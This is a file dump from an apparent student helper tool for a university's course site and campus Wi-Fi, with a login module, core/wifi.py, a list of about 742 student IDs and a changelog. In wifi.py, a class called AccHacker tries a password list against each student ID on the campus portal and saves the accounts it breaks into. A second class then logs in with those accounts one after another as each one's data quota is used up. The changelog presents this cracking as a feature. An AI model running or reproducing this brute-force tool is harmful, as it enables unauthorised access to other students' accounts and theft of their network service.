'https://onestop.ucas.ac.cn/', 77 | 'Accept-Language': 'zh-CN,zh;q=0.9', 78 | } 79 | 80 | def _set_user_info(self): 81 | ''' 82 | set user info from conf/user_config.ini 83 | :return: None 84 | ''' 85 | try: 86 | username = self._cfg.get('user_info', 'username') 87 | password = self._cfg.get('user_info', 'password') 88 | key = self._cfg.get('sep_info', 'key') 89 | password = simulate_JSEncrypt(password, key) 90 | except (configparser.NoSectionError, configparser.NoOptionError) as e: 91 | self._logger.error( 92 | 'Can not read user information from {}, please enter your personal information at first.(do not store it in settings.py, it is no longer supported)'.format( 93 | self._user_config_path)) 94 | exit(ExitStatus.CONFIG_ERROR) 95 | else: 96 | if not username or not password: 97 | # 用户名或密码信息为空 98 | self._logger.error( 99 | 'User information can not be empty, check your user information in {}.'.format( 100 | self._user_config_path)) 101 | exit(ExitStatus.CONFIG_ERROR) 102 | 103 | else: 104 | self._user_info = { 105 | 'username': username, 106 | 'password': password, 107 | 'remember': 'undefined' 108 | } 109 | 110 | def __keep_session(self): 111 | try: 112 | res = self._S.get(url=self._urls['course_select_url']['http'], headers=self.headers, timeout=5) 113 | except requests.Timeout: 114 | res = self._S.get(url=self._urls['course_select_url']['https'], headers=self.headers) 115 | course_select_url = re.search(r"window.location.href='(?P.*?)'", res.text).groupdict().get( 116 | "course_select_url") 117 | self._S.get(course_select_url, headers=self.headers) 118 | 119 | def login(self): 120 | self._set_user_info() 121 | # self._S.get(url=self._urls['home_url']['https'], headers=self.headers, verify=False) # 获取identity 122 | try: 123 | res = self._S.get(url=self._urls['course_select_url']['http'], headers=self.headers, timeout=5) 124 | except requests.Timeout: 125 | res = self._S.get(url=self._urls['course_select_url']['https'], headers=self.headers) 126 | soup = BeautifulSoup(res.text, 'html.parser') 127 | try: 128 | res = self._S.get(url=self._urls['bak_home_url']['http'] + soup.select_one("img#code").get("src"), 129 | headers=self.headers) 130 | except: 131 | # 校园网内不需要验证码 132 | post_data = { 133 | 'userName': self._user_info.get('username', ''), 134 | 'pwd': self._user_info.get('password', ''), 135 | 'sb': 'sb' 136 | } 137 | else: 138 | captcha_img = Image.open(BytesIO(res.content)) 139 | # captcha_img.show() 140 | # captcha_code = input("请输入图片展示的验证码信息:") 141 | captcha_code = do_ocr(captcha_img) 142 | post_data = { 143 | 'userName': self._user_info.get('username', ''), 144 | 'pwd': self._user_info.get('password', ''), 145 | 'certCode': captcha_code, 146 | 'sb': 'sb' 147 | } 148 | try: 149 | res = self._S.post(url=self._urls["bak_login_url"]['http'], data=post_data, headers=self.headers, 150 | timeout=10) 151 | except (requests.exceptions.ConnectionError, 152 | requests.exceptions.ConnectTimeout, 153 | requests.exceptions.ReadTimeout): 154 | self._logger.error("网络连接失败,请确认你的网络环境后重试!") 155 | exit(ExitStatus.NETWORK_ERROR) 156 | if res.status_code != 200: 157 | self._logger.error('sep登录失败,未知错误,请到github提交issue,等待作者修复.') 158 | exit(ExitStatus.UNKNOW_ERROR) 159 | else: 160 | if "请输入您的密码" in res.text: 161 | self._logger.error("sep登录失败,请检查你的用户名和密码设置以及验证码输入是否正确!") 162 | exit(ExitStatus.CONFIG_ERROR) 163 | else: 164 | self._logger.info("sep登录成功!") 165 | self.__keep_session() 166 | 167 | 168 | if __name__ == '__main__': 169 | loginer = Loginer(urls=settings.URLS, 170 | user_config_path='../conf/user_config.ini') 171 | loginer.login() 172 | -------------------------------------------------------------------------------- /core/wifi.py: -------------------------------------------------------------------------------- 1 | # @Author : GentleCP 2 | # @Email : 574881148@qq.com 3 | # @File : wifi.py 4 | # @Item : PyCharm 5 | # @Time : 2019/11/28/028 17:06 6 | # @WebSite : https://www.gentlecp.com 7 | import logging 8 | import json 9 | import time 10 | import datetime 11 | import requests 12 | from urllib.parse import urlparse 13 | 14 | from handler.exception import WifiError 15 | 16 | def login_wifi(stuid,password): 17 | try: 18 | query_string = urlparse(requests.get("http://210.77.16.21").url).query 19 | payload = { 20 | "userId": stuid, 21 | "password": password, 22 | "service": "", 23 | "queryString": query_string, 24 | "operatorPwd": '', 25 | "operatorUserId": '', 26 | "validcode": '', 27 | } 28 | res = requests.post("http://210.77.16.21/eportal/InterFace.do?method=login", data=payload) 29 | res.encoding = 'u8' 30 | except (requests.exceptions.ConnectionError, 31 | requests.exceptions.ConnectTimeout, 32 | requests.exceptions.ReadTimeout): 33 | return None 34 | else: 35 | return { 36 | 'result':res.json().get("result"), 37 | 'msg':res.json().get("message"), 38 | 'query_string':query_string 39 | } 40 | 41 | 42 | class AccHacker(object): 43 | def __init__(self, data_path='data/data.txt', 44 | password_path = 'data/password.txt', 45 | accounts_path='accounts.json'): 46 | 47 | self._logger = logging.getLogger("AccHacker") 48 | self.d_accounts = None 49 | self.l_stuids = [] 50 | self.l_passwords = [] 51 | self._data_path = data_path 52 | self._accounts_path = accounts_path 53 | self._password_path = password_path 54 | 55 | def _set_info(self): 56 | """ 57 | 获取账户文件信息 58 | :return: user_info 59 | """ 60 | with open(self._accounts_path, 'r') as f: 61 | self.d_accounts = json.loads(f.read()) 62 | 63 | with open(self._data_path, 'r') as f: 64 | for line in f: 65 | self.l_stuids.append(line.strip()) 66 | 67 | with open(self._password_path, 'r') as f: 68 | for line in f: 69 | self.l_passwords.append(line.strip()) 70 | 71 | 72 | def _save_accounts(self, accounts, datas): 73 | with open(self._accounts_path, 'w') as f: 74 | f.write(json.dumps(accounts)) 75 | 76 | with open(self._data_path, 'w') as f: 77 | for data in datas: 78 | f.write(data + '\n') 79 | 80 | def __confirm_protocol(self, stuid, query_string): 81 | headers = { 82 | 'Connection': 'keep-alive', 83 | 'Origin': 'http://210.77.16.21', 84 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 85 | 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 86 | 'Accept': '*/*', 87 | 'Referer': 'http://210.77.16.21/eportal/index.jsp?' + query_string, 88 | 'Accept-Encoding': 'gzip, deflate', 89 | 'Accept-Language': 'zh-CN,zh;q=0.9', 90 | } 91 | res = requests.post("http://210.77.16.21/eportal/InterFace.do?method=registerNetWorkProtocol", 92 | data={'userId': stuid}, 93 | headers=headers) 94 | 95 | if res.json()["result"] == "ok": 96 | # 成功确认 97 | return True 98 | 99 | def _acc_hack(self): 100 | cur = 1 101 | range_num = len(self.l_passwords) 102 | for stuid in self.l_stuids: 103 | start = time.time() 104 | hacked = False 105 | for i,password in enumerate(self.l_passwords): 106 | login_res = login_wifi(stuid, password) 107 | print("\r","正在测试账号{},密码:{},预期进度:{:.2f}%,耗费时间:{:.2f}秒:".format(stuid, 108 | password, 109 | (i / range_num) * 100, 110 | time.time() - start), end='', flush=True) 111 | if login_res.get('result') == 'success': 112 | self.d_accounts["useful_accounts"].append({"stuid": stuid, "pwd": password}) 113 | self._logger.info("破解新账户:{},正存储到本地".format(stuid)) 114 | requests.get("http://210.77.16.21/eportal/InterFace.do?method=logout") # 退出当前登录 115 | print("破解账号{}耗时:{:.2f}s".format(stuid, time.time() - start)) 116 | hacked = True 117 | break 118 | elif login_res.get('msg') == "密码不匹配,请输入正确的密码!": 119 | pass 120 | elif login_res.get('msg') == "用户未确认网络协议书": 121 | self.__confirm_protocol(stuid,login_res.get('query_string')) 122 | elif login_res.get('msg') == "认证设备响应超时,请稍后再试!": 123 | time.sleep(1) 124 | else: 125 | print("出现异常:{}".format(login_res.get('msg'))) 126 | break 127 | if not hacked: 128 | self._logger.info("未能破解账户:{}".format(stuid)) 129 | print("未能破解账号{}耗时:{}s".format(stuid, time.time() - start)) 130 | datas = self.l_stuids[cur:] 131 | cur += 1 132 | self._save_accounts(self.d_accounts, datas) 133 | 134 | def run(self): 135 | self._set_info() 136 | self._acc_hack() 137 | 138 | 139 | class WifiLoginer(object): 140 | 141 | def __init__(self, accounts_path): 142 | self._logger = logging.getLogger("WifiLoginer") 143 | self.accounts_path = accounts_path # 账户信息文件路径 144 | self.d_accounts = None 145 | 146 | 147 | def _set_account_info(self): 148 | """ 149 | 获取可用账户进行登录 150 | :return: user_info 151 | """ 152 | try: 153 | with open(self.accounts_path, 'r') as f: 154 | try: 155 | self.d_accounts = json.loads(f.read()) 156 | except json.decoder.JSONDecodeError: 157 | self._logger.error("不是json文件,请按照要求修改内容!") 158 | exit(401) 159 | else: 160 | if not self.d_accounts["useful_accounts"]: 161 | # 所有账户流量都用完了 162 | self._logger.info("没有可用账户!,请执行python ucashelper.py hack获取可用账号") 163 | exit(401) 164 | 165 | except FileNotFoundError: 166 | self._logger.error("accounts.json文件不存在,请确认在根目录下创建!") 167 | exit(404) 168 | 169 | def _check_date(self): 170 | ''' 171 | 检查当前日期,如果是新的一个月,则重置所有账号可用 172 | :return: 173 | ''' 174 | current_month = datetime.datetime.now().month 175 | with open(self.accounts_path, 'r') as f: 176 | res = json.loads(f.read()) 177 | if res["current_month"] != current_month: 178 | res["useful_accounts"].extend(res["useless_accounts"]) # 将所有流量耗尽的账户添加到可用账户中 179 | res["useless_accounts"] = [] 180 | res["current_month"] = current_month 181 | with open(self.accounts_path, 'w') as f: 182 | f.write(json.dumps(res)) 183 | 184 | def _save_accounts(self,accounts): 185 | with open(self.accounts_path, 'w') as f: 186 | f.write(json.dumps(accounts)) 187 | 188 | def _change_account(self, msg): 189 | self._logger.info("正在为您尝试切换可用账户...") 190 | if msg == '无可用剩余流量!' or "密码不匹配,请输入正确的密码!" : 191 | useless_account = self.d_accounts["useful_accounts"].pop(0) 192 | self.d_accounts["useless_accounts"].append(useless_account) 193 | elif msg == "设备未注册,请在ePortal上添加认证设备": 194 | self._logger.error("设备未注册,请断开wifi后重连再试!") 195 | exit(500) 196 | else: 197 | self.d_accounts["useful_accounts"].pop(0) 198 | 199 | def _check_login(self): 200 | url = "http://210.77.16.21/eportal/InterFace.do?method=getOnlineUserInfo" 201 | try: 202 | res = requests.get(url, timeout=2) 203 | if res.json()["result"] == 'success': 204 | # 已经登录 205 | self._logger.info("您已经登录校园网,无需重复登录!") 206 | return True 207 | else: 208 | self._logger.info("正在为您登录校园网...") 209 | return False 210 | except requests.exceptions.ConnectTimeout: 211 | # 超时说明无法提供ip 212 | self._logger.error("网络连接超时,请稍后再试!") 213 | exit(400) 214 | 215 | except requests.exceptions.ReadTimeout: 216 | self._check_login() 217 | 218 | def _login_wifi(self): 219 | try: 220 | stuid = self.d_accounts["useful_accounts"][0]["stuid"] 221 | password = self.d_accounts["useful_accounts"][0]["pwd"] 222 | except IndexError: 223 | self._logger.error("无可用账号!") 224 | self._save_accounts(self.d_accounts) 225 | raise WifiError 226 | 227 | login_res = login_wifi(stuid, password) 228 | if not login_res: 229 | self._logger.error("网络连接出错,可能原因:1、未连接上校园网 2、当前网络环境无可分配动态ip") 230 | raise WifiError 231 | 232 | if login_res.get('result')== 'success': 233 | self._logger.info("Wifi登录成功,尽情冲浪吧~") 234 | self._save_accounts(self.d_accounts) 235 | else: 236 | self._logger.info("{} 登录失败!原因:{}".format(stuid,login_res.get('msg'))) 237 | self._change_account(login_res.get('msg')) 238 | self._login_wifi() 239 | 240 | def _get_flow_info(self): 241 | url = "http://210.77.16.21/eportal/InterFace.do?method=getOnlineUserInfo" 242 | try: 243 | res = requests.get(url) 244 | except (requests.exceptions.ConnectTimeout, 245 | requests.exceptions.ConnectionError, 246 | requests.exceptions.ReadTimeout): 247 | self._logger.error("网络连接出现问题,请检查是否已连接上校园网!") 248 | exit(400) 249 | else: 250 | res.encoding = 'u8' 251 | if res.json().get("message") == "用户信息不完整,请稍后重试": 252 | return self._get_flow_info() 253 | else: 254 | return res.json().get('maxFlow') 255 | 256 | 257 | def login(self): 258 | self._set_account_info() 259 | if not self._check_login(): 260 | self._login_wifi() 261 | self._logger.info("剩余流量:{}".format(self._get_flow_info())) 262 | 263 | def logout(self): 264 | try: 265 | flow_info = self._get_flow_info() 266 | if flow_info : 267 | self._logger.info("剩余流量:{}".format(flow_info)) 268 | requests.get("http://210.77.16.21/eportal/InterFace.do?method=logout") 269 | self._logger.info("已退出校园网!") 270 | else: 271 | self._logger.info("您尚未登录校园网!") 272 | 273 | except (requests.exceptions.ConnectTimeout, 274 | requests.exceptions.ConnectionError, 275 | requests.exceptions.ReadTimeout): 276 | self._logger.error("网络连接出现问题,请检查是否已连接上校园网!") 277 | raise WifiError 278 | 279 | -------------------------------------------------------------------------------- /data/data.txt: -------------------------------------------------------------------------------- 1 | 201818010315076 2 | 201818010315077 3 | 201818010315081 4 | 201818010330004 5 | 201818010351004 6 | 201818010351007 7 | 201818010351012 8 | 201818010351017 9 | 201818010415019 10 | 201818010415020 11 | 201818010415021 12 | 201818010415022 13 | 201818010415023 14 | 201818010415024 15 | 201818010415025 16 | 201818010415028 17 | 201818010415030 18 | 201818010415031 19 | 201818010415032 20 | 201818010415033 21 | 201818010415036 22 | 201818010415037 23 | 201818010415041 24 | 201818010415042 25 | 201818010415043 26 | 201818010515001 27 | 201818010515002 28 | 201818010515003 29 | 201818010515004 30 | 201818010515005 31 | 201818010515006 32 | 201818010515007 33 | 201818010515008 34 | 201818010515009 35 | 201818010515011 36 | 201818010515012 37 | 201818010515013 38 | 201818010515015 39 | 201818010515016 40 | 201818010515017 41 | 201818010515018 42 | 201818010515019 43 | 201818010515020 44 | 201818010515021 45 | 201818010515022 46 | 201818010515025 47 | 201818010515026 48 | 201818010515031 49 | 201818010515032 50 | 201818010515033 51 | 201818010515034 52 | 201818010515035 53 | 201818010515036 54 | 201818010515037 55 | 201818010515038 56 | 201818010515039 57 | 201818010515040 58 | 201818010515041 59 | 201818010515042 60 | 201818010515043 61 | 201818010515044 62 | 201818010515045 63 | 201818010515046 64 | 201818010515047 65 | 201818010515048 66 | 201818010515049 67 | 201818010515050 68 | 201818010515052 69 | 201818010515053 70 | 201818010515055 71 | 201818010515056 72 | 201818010515057 73 | 201818010515058 74 | 201818010515059 75 | 201818010515060 76 | 201818010515061 77 | 201818010515062 78 | 201818010515063 79 | 201818010515065 80 | 201818010515066 81 | 201818010551012 82 | 201818010551014 83 | 201818010551015 84 | 201818010551016 85 | 201818010551017 86 | 201818010551018 87 | 201818010551019 88 | 201818010551020 89 | 201818010551021 90 | 201818010551022 91 | 201818010551025 92 | 201818010551026 93 | 201818010551027 94 | 201818010551028 95 | 201818010615001 96 | 201818010615002 97 | 201818010615005 98 | 201818010615008 99 | 201818010615009 100 | 201818010615012 101 | 201818010615014 102 | 201818010615017 103 | 201818010615021 104 | 201818010615022 105 | 201818010615023 106 | 201818010642002 107 | 201818010642003 108 | 201818010642005 109 | 201818010642007 110 | 201818010642009 111 | 201818010642010 112 | 201818010642013 113 | 201818010642015 114 | 201818010642016 115 | 201818010642022 116 | 201818010642024 117 | 201818010642027 118 | 201818010642028 119 | 201818010715002 120 | 201818010715005 121 | 201818010715006 122 | 201818010715007 123 | 201818010715011 124 | 201818010715013 125 | 201818010715017 126 | 201818010715019 127 | 201818010715022 128 | 201818010751001 129 | 201818010751003 130 | 201818010751007 131 | 201818010751008 132 | 201818010751009 133 | 201818010815007 134 | 201818010815010 135 | 201818010815011 136 | 201818010851003 137 | 201818010851004 138 | 201818010851005 139 | 201818010851006 140 | 201818011015001 141 | 201818011015003 142 | 201818011015004 143 | 201818011015005 144 | 201818011015008 145 | 201818011015011 146 | 201818011015013 147 | 201818011037001 148 | 201818011037002 149 | 201818011042002 150 | 201818011042003 151 | 201818011042005 152 | 201818011042006 153 | 201818011042007 154 | 201818011042008 155 | 201818011042011 156 | 201818011042012 157 | 201818011042014 158 | 201818011051002 159 | 201818011051003 160 | 201818011051004 161 | 201818011051005 162 | 201818011051008 163 | 201818011051009 164 | 201818011051010 165 | 201818011051011 166 | 201818011203002 167 | 201818011203004 168 | 201818011215004 169 | 201818011215007 170 | 201818011215013 171 | 201818011215045 172 | 201818011215048 173 | 201818011215080 174 | 201818011215081 175 | 201818011215083 176 | 201818011215089 177 | 201818011215090 178 | 201818011215091 179 | 201818011215094 180 | 201818011215099 181 | 201818011230001 182 | 201818011315001 183 | 201818011315018 184 | 201818011315019 185 | 201818011315020 186 | 201818011315026 187 | 201818011315045 188 | 201818011315048 189 | 201818011315050 190 | 201818011315055 191 | 201818011330002 192 | 201818011330003 193 | 201818011915007 194 | 201818011915008 195 | 201818011915009 196 | 201818011915010 197 | 201818011915011 198 | 201818011915012 199 | 201818011915013 200 | 201818011915014 201 | 201818011915015 202 | 201818011915016 203 | 201818011915019 204 | 201818011915021 205 | 201818011915025 206 | 201818011915027 207 | 201818011915032 208 | 201818011915033 209 | 201818011915042 210 | 201818011915045 211 | 201818011915046 212 | 201818011915048 213 | 201818011915049 214 | 201818011915050 215 | 201818011915053 216 | 201818011915058 217 | 201818011915061 218 | 201818011937001 219 | 201818011937002 220 | 201818011937004 221 | 201818011937006 222 | 201818011941001 223 | 201818012115009 224 | 201818012115011 225 | 201818012115014 226 | 201818012115072 227 | 201818012115074 228 | 201818012115095 229 | 201818012215003 230 | 201818012215005 231 | 201818012215006 232 | 201818012215008 233 | 201818012215009 234 | 201818012215012 235 | 201818012215013 236 | 201818012251001 237 | 201818012251002 238 | 201818012342001 239 | 201818012342002 240 | 201818012342003 241 | 201818012342004 242 | 201818012342005 243 | 201818012342006 244 | 201818012342007 245 | 201818012342008 246 | 201818012342009 247 | 201818012342010 248 | 201818012342012 249 | 201818012342013 250 | 201818012342014 251 | 201818012342015 252 | 201818012342016 253 | 201818012342017 254 | 201818012342018 255 | 201818012342019 256 | 201818012342020 257 | 201818012342021 258 | 201818012342022 259 | 201818012342023 260 | 201818012342024 261 | 201818012342025 262 | 201818012342026 263 | 201818012342027 264 | 201818012415011 265 | 201818012415012 266 | 201818012415013 267 | 201818012415014 268 | 201818012415015 269 | 201818012415016 270 | 201818012415017 271 | 201818012415023 272 | 201818012415024 273 | 201818012415025 274 | 201818012415035 275 | 201818012415039 276 | 201818012503043 277 | 201818012637006 278 | 201818012637007 279 | 201818012637008 280 | 201818012637009 281 | 201818012637010 282 | 201818012637011 283 | 201818012637012 284 | 201818012637013 285 | 201818012638003 286 | 201818012638004 287 | 201818012638006 288 | 201818012638007 289 | 201818012638009 290 | 201818012638010 291 | 201818012638011 292 | 201818012638012 293 | 201818012638013 294 | 201818012638014 295 | 201818012638016 296 | 201818012638018 297 | 201818012638021 298 | 201818012638022 299 | 201818012638024 300 | 201818012638026 301 | 201818012651001 302 | 201818012651002 303 | 201818012651003 304 | 201818012651004 305 | 201818012651005 306 | 201818012715002 307 | 201818012715007 308 | 201818012715008 309 | 201818012737001 310 | 201818012737003 311 | 201818012737004 312 | 201818012737006 313 | 201818012737007 314 | 201818012737008 315 | 201818012738004 316 | 201818012751002 317 | 201818012751003 318 | 201818012751006 319 | 201818012751008 320 | 201818012751010 321 | 201818012751013 322 | 201818012751016 323 | 201818012751019 324 | 201818012751024 325 | 201818012751025 326 | 201818012751026 327 | 201818012815008 328 | 201818012851010 329 | 201818012938004 330 | 201818012938006 331 | 201818012938007 332 | 201818012938008 333 | 201818012938009 334 | 201818012938010 335 | 201818012938011 336 | 201818012938012 337 | 201818012938013 338 | 201818012938015 339 | 201818012938016 340 | 201818012938017 341 | 201818012951002 342 | 201818012951003 343 | 201818012951004 344 | 201818012951007 345 | 201818013229076 346 | 201818013229080 347 | 201818013229089 348 | 201818013270001 349 | 201818013329003 350 | 201818013329004 351 | 201818013329006 352 | 201818013329008 353 | 201818013524030 354 | 201818013524031 355 | 201818013524032 356 | 201818013524033 357 | 201818013524035 358 | 201818013607001 359 | 201818013607002 360 | 201818013607010 361 | 201818013607011 362 | 201818013607012 363 | 201818013607013 364 | 201818013607014 365 | 201818013607016 366 | 201818013622001 367 | 201818013622002 368 | 201818013622005 369 | 201818013622006 370 | 201818013622007 371 | 201818013622008 372 | 201818013622009 373 | 201818013622010 374 | 201818013622011 375 | 201818013622012 376 | 201818013626002 377 | 201818013626005 378 | 201818013626007 379 | 201818013626008 380 | 201818013626009 381 | 201818013626010 382 | 201818013626012 383 | 201818013626013 384 | 201818013626016 385 | 201818013626018 386 | 201818013626019 387 | 201818013626034 388 | 201818013626035 389 | 201818013626036 390 | 201818013626037 391 | 201818013626038 392 | 201818013626039 393 | 201818013626041 394 | 201818013626042 395 | 201818013626043 396 | 201818013626044 397 | 201818013626045 398 | 201818013626046 399 | 201818013626047 400 | 201818013626049 401 | 201818013626050 402 | 201818013626051 403 | 201818013626052 404 | 201818013626053 405 | 201818013626054 406 | 201818013626055 407 | 201818013626056 408 | 201818013626057 409 | 201818013626058 410 | 201818013626061 411 | 201818013626063 412 | 201818013626065 413 | 201818013626066 414 | 201818013626067 415 | 201818013626068 416 | 201818013626069 417 | 201818013726035 418 | 201818013726040 419 | 201818013727055 420 | 201818013727056 421 | 201818013727059 422 | 201818013727060 423 | 201818013822001 424 | 201818013822002 425 | 201818013826001 426 | 201818013826002 427 | 201818013826003 428 | 201818013826004 429 | 201818013826005 430 | 201818013826006 431 | 201818013826007 432 | 201818013826038 433 | 201818013826045 434 | 201818013827001 435 | 201818013827003 436 | 201818013827004 437 | 201818013907034 438 | 201818013907035 439 | 201818013919002 440 | 201818013919011 441 | 201818013919016 442 | 201818013919022 443 | 201818013919029 444 | 201818013919035 445 | 201818013919039 446 | 201818013919040 447 | 201818013919042 448 | 201818013919044 449 | 201818013920024 450 | 201818013920028 451 | 201818013920034 452 | 201818013920041 453 | 201818013920044 454 | 201818013920047 455 | 201818013920049 456 | 201818013920050 457 | 201818013920051 458 | 201818013920052 459 | 201818013926002 460 | 201818014007001 461 | 201818014007002 462 | 201818014007003 463 | 201818014007004 464 | 201818014007005 465 | 201818014007006 466 | 201818014020001 467 | 201818014020002 468 | 201818014020003 469 | 201818014020004 470 | 201818014020005 471 | 201818014020006 472 | 201818014020007 473 | 201818014020008 474 | 201818014020009 475 | 201818014020010 476 | 201818014020011 477 | 201818014020013 478 | 201818014020014 479 | 201818014020016 480 | 201818014020020 481 | 201818014020021 482 | 201818014020022 483 | 201818014020023 484 | 201818014020024 485 | 201818014020026 486 | 201818014020028 487 | 201818014020030 488 | 201818014020031 489 | 201818014020038 490 | 201818014022001 491 | 201818014022002 492 | 201818014022004 493 | 201818014022007 494 | 201818014022008 495 | 201818014022013 496 | 201818014207002 497 | 201818014207003 498 | 201818014207005 499 | 201818014207007 500 | 201818014207009 501 | 201818014207010 502 | 201818014207011 503 | 201818014220003 504 | 201818014220004 505 | 201818014220005 506 | 201818014220006 507 | 201818014220009 508 | 201818014220010 509 | 201818014220011 510 | 201818014220013 511 | 201818014220015 512 | 201818014226001 513 | 201818014226002 514 | 201818014226004 515 | 201818014227005 516 | 201818014227008 517 | 201818014227010 518 | 201818014227011 519 | 201818014227012 520 | 201818014227013 521 | 201818014227015 522 | 201818014227016 523 | 201818014326036 524 | 201818014326037 525 | 201818014326038 526 | 201818014326039 527 | 201818014326040 528 | 201818014326041 529 | 201818014628020 530 | 201818014628031 531 | 201818014628032 532 | 201818014628033 533 | 201818014628035 534 | 201818014628050 535 | 201818014628053 536 | 201818014628056 537 | 201818014628089 538 | 201818014628093 539 | 201818014719004 540 | 201818014719005 541 | 201818014719006 542 | 201818014719007 543 | 201818014719009 544 | 201818014719011 545 | 201818014719012 546 | 201818014719014 547 | 201818014728003 548 | 201818014728004 549 | 201818014728005 550 | 201818014728006 551 | 201818014728007 552 | 201818014728008 553 | 201818014728009 554 | 201818014728010 555 | 201818014728011 556 | 201818014728012 557 | 201818014728013 558 | 201818014728015 559 | 201818014728017 560 | 201818014825019 561 | 201818014825026 562 | 201818014825031 563 | 201818014825032 564 | 201818014825033 565 | 201818014924001 566 | 201818014924002 567 | 201818014924004 568 | 201818014924006 569 | 201818014924007 570 | 201818014924008 571 | 201818014924009 572 | 201818014924010 573 | 201818014933001 574 | 201818014933002 575 | 201818014933003 576 | 201818014933004 577 | 201818014933005 578 | 201818014933007 579 | 201818014933011 580 | 201818015029013 581 | 201818015029016 582 | 201818015059009 583 | 201818015059012 584 | 201818015059014 585 | 201818015059016 586 | 201818015059017 587 | 201818015059018 588 | 201818015059026 589 | 201818015070003 590 | 201818015120001 591 | 201818015121005 592 | 201818015121006 593 | 201818015121007 594 | 201818015121009 595 | 201818015121014 596 | 201818015127010 597 | 201818015127011 598 | 201818015127013 599 | 201818015329002 600 | 201818015329003 601 | 201818015329004 602 | 201818015329006 603 | 201818015329008 604 | 201818015329009 605 | 201818015329010 606 | 201818015329011 607 | 201818015547012 608 | 201818015547013 609 | 201818015547018 610 | 201818015615001 611 | 201818015615002 612 | 201818015615003 613 | 201818015615004 614 | 201818015651002 615 | 201818015651005 616 | 201818015814002 617 | 201818015814004 618 | 201818015837003 619 | 201818015837005 620 | 201818015837006 621 | 201818015837009 622 | 201818015926001 623 | 201818015926002 624 | 201818015926003 625 | 201818015926004 626 | 201818015926005 627 | 201818015926006 628 | 201818015926007 629 | 201818015926008 630 | 201818015926009 631 | 201818015926010 632 | 201818015926011 633 | 201818015926029 634 | 201818015926030 635 | 201818015926031 636 | 201818015926032 637 | 201818015926033 638 | 201818015926034 639 | 201818015926035 640 | 201818015926037 641 | 201818015926038 642 | 201818015926039 643 | 201818015926041 644 | 201818015926043 645 | 201818015926044 646 | 201818015926046 647 | 201818015926047 648 | 201818015926048 649 | 201818015926049 650 | 201818015926050 651 | 201818015926051 652 | 201818015926052 653 | 201818015926053 654 | 201818015926054 655 | 201818015926055 656 | 201818015926056 657 | 201818015926057 658 | 201818015926058 659 | 201818015926059 660 | 201818015926060 661 | 201818015926061 662 | 201818015926062 663 | 201818015926063 664 | 201818015926064 665 | 201818015926066 666 | 201818015926068 667 | 201818015926069 668 | 201818015926070 669 | 201818015926071 670 | 201818015926072 671 | 201818015926073 672 | 201818015926074 673 | 201818015926076 674 | 201818015926077 675 | 201818015926078 676 | 201818015926079 677 | 201818015926080 678 | 201818015926081 679 | 201818015926082 680 | 201818015926084 681 | 201818015926085 682 | 201818015926086 683 | 201818015926087 684 | 201818015926088 685 | 201818015926090 686 | 201818015926091 687 | 201818015926092 688 | 201818015926093 689 | 201818015926094 690 | 201818015926096 691 | 201818015926098 692 | 201818015926099 693 | 201818016029005 694 | 201818016029011 695 | 201818016029014 696 | 201818016251004 697 | 201818016251005 698 | 201818016251010 699 | 201818016251011 700 | 201818016251014 701 | 201818016251016 702 | 201818016251019 703 | 201818016251020 704 | 201818016443006 705 | 201818016443008 706 | 201818016443020 707 | 201818016443023 708 | 201818016514005 709 | 201818016514007 710 | 201818016514008 711 | 201818016514011 712 | 201818016514012 713 | 201818016514013 714 | 201818016514015 715 | 201818016514016 716 | 201818016514018 717 | 201818016514019 718 | 201818016514020 719 | 201818016514025 720 | 201818016514026 721 | 201818016514028 722 | 201818016514029 723 | 201818016514036 724 | 201818016514037 725 | 201818016514042 726 | 201818016514052 727 | 201818016537004 728 | 201818016537006 729 | 201818016537007 730 | 201818016537008 731 | 201818016537009 732 | 201818016537010 733 | 201818016537011 734 | 201818016537015 735 | 201818016537016 736 | 201818016537022 737 | 201818016537023 738 | 201818016537024 739 | 201818016537025 740 | 201818016609002 741 | 201818016609006 742 | 201818016715023 743 | -------------------------------------------------------------------------------- /docs/change_log.md: -------------------------------------------------------------------------------- 1 | 更新日志 2 | =========== 3 | 4 | ## v2.4.0: 2022/05/01 5 | - 彻底去除在`settings.py`中添加用户信息和资源路径的方式,转移到`conf/user_config.ini`中 6 | - 更新了sep新的登录方式(现在需要加密) 7 | - 修复了资源同步存在的一些问题 8 | - 资源存储目录设置默认存储为根目录`resources`下 9 | - 添加了OCR自动识别验证码 10 | > OCR有时候会识别错误,显示登录失败,重试几次即可 11 | 12 | ## v2.3.4: 2021/04/14 13 | - 修复因课程网站变动导致的登录失效问题 14 | - 新的登录接口还没做验证码的自动识别,需要人工手动输入验证码 15 | 16 | ## 旧版本信息 17 | - [2.3.3] 添加不建议自动更新的说明,clone深度调整为1 18 | - [2.3.1] 修复自动更新的一些问题,自动获取最新版本号,之前版本因为错误的更新代码无法兼容本次更新,建议重新`clone`项目 19 | - [2.3.0] 添加引导配置程序,将`settings.py`中用户信息和存储信息单独存,解耦合,新版本依赖`npyscreen`,请执行`pip install -r requirements.txt` 20 | - [2.2.0] 添加专门的日志处理器,优化部分代码结构 21 | - [2.1.2] 更改了文档信息,将主要内容单独拎出来,简化README。 22 | - [2.1.1] 本次做了两个主要改动: 23 | 1. 添加了自动更新的功能,在每次程序启动的时候检测github上的最新代码,若有更新,则同步更新,具体见[5.5 更新项目](#55-更新项目) 24 | 2. 修改了资源存储位置检测的顺序,放到了程序主界面启动之后,这样可以避免只想使用其他功能的朋友被强制要求设定资源下载路径 25 | - [2.0.5] 修复登陆接口请求失败的问题,建议使用最新的更新方式,见[5.5 更新项目](#55-更新项目) 26 | - [2.0.4] 修复评估教师失败的bug 27 | - [2.0.3] 修复了部分课程因html解析不当导致的课程资源无法下载的情况,本次更新需要用到新的依赖包`lxml=4.5.2`, 28 | 已安装老版本的请重新执行`pip install -r requirements.txt` 29 | - [2.0.2] 修复了因课程网站选课系统添加头部检查导致的**课程评估,分数查询**功能的失效。 30 | - [2.0.1] 对整体代码进行了重构,解决因课程网站`http`,`https`协议切换导致的访问出错问题, 31 | 同时更改了项目接口,方便小白和专业人士操作。以前均通过可视化`UI`界面进行操作,现在用户可选择`UI`和命令行两种模式,具体见**5.部署使用**。 32 | 对各个功能测试结果如下: 33 | - [x] 课程资源同步 34 | - [x] 分数查询 35 | - [ ] 自动评教:由于课程网站评教操作关闭,尚未测试 36 | - [ ] 校园网登录:由于不在学校,尚未测试 37 | - [ ] 校园网账号破解:同上 38 | > 